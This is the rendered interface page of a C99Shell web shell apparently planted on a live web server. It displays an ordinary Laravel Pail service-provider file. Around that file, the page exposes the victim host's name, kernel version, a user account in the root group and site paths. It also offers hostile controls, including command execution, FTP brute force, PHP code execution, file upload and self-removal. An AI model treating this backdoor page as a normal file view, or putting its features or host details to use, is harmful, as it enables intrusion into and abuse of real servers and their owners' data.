!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/laravel/pail/src/   drwxr-xr-x
Free 28.41 GB of 117.98 GB (24.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PailServiceProvider.php (2.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Pail;

use 
Illuminate\Console\Events\CommandStarting;
use 
Illuminate\Contracts\Foundation\Application;
use 
Illuminate\Log\Events\MessageLogged;
use 
Illuminate\Queue\Events\JobExceptionOccurred;
use 
Illuminate\Queue\Events\JobProcessed;
use 
Illuminate\Queue\Events\JobProcessing;
use 
Illuminate\Support\ServiceProvider;
use 
Laravel\Pail\Console\Commands\PailCommand;

class 
PailServiceProvider extends ServiceProvider
{
    
/**
     * Registers the application services.
     */
    
public function register(): void
    
{
        
$this->app->singleton(
            
Files::class,
            fn (
Application $app) => new Files($app->storagePath('pail'))
        );

        
$this->app->singleton(Handler::class, fn (Application $app) => new Handler(
            
$app,
            
$app->make(Files::class),
            
$app->runningInConsole(),
        ));
    }

    
/**
     * Bootstraps the application services.
     */
    
public function boot(): void
    
{
        if (! 
$this->runningPailTests() && ($this->app->runningUnitTests() || ($_ENV['VAPOR_SSM_PATH'] ?? false))) {
            return;
        }

        
/** @var \Illuminate\Contracts\Events\Dispatcher $events */
        
$events $this->app->make('events');

        
$events->listen(MessageLogged::class, function (MessageLogged $messageLogged) {
            
/** @var Handler $handler */
            
$handler $this->app->make(Handler::class);

            
$handler->log($messageLogged);
        });

        
$events->listen([CommandStarting::class, JobProcessing::class, JobExceptionOccurred::class], function (CommandStarting|JobProcessing|JobExceptionOccurred $lifecycleEvent) {
            
/** @var Handler $handler */
            
$handler $this->app->make(Handler::class);

            
$handler->setLastLifecycleEvent($lifecycleEvent);
        });

        
$events->listen([JobProcessed::class], function () {
            
/** @var Handler $handler */
            
$handler $this->app->make(Handler::class);

            
$handler->setLastLifecycleEvent(null);
        });

        if (
$this->app->runningInConsole()) {
            
$this->commands([
                
PailCommand::class,
            ]);
        }
    }

    
/**
     * Determines if the Pail's test suite is running.
     */
    
protected function runningPailTests(): bool
    
{
        return 
$_ENV['PAIL_TESTS'] ?? false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--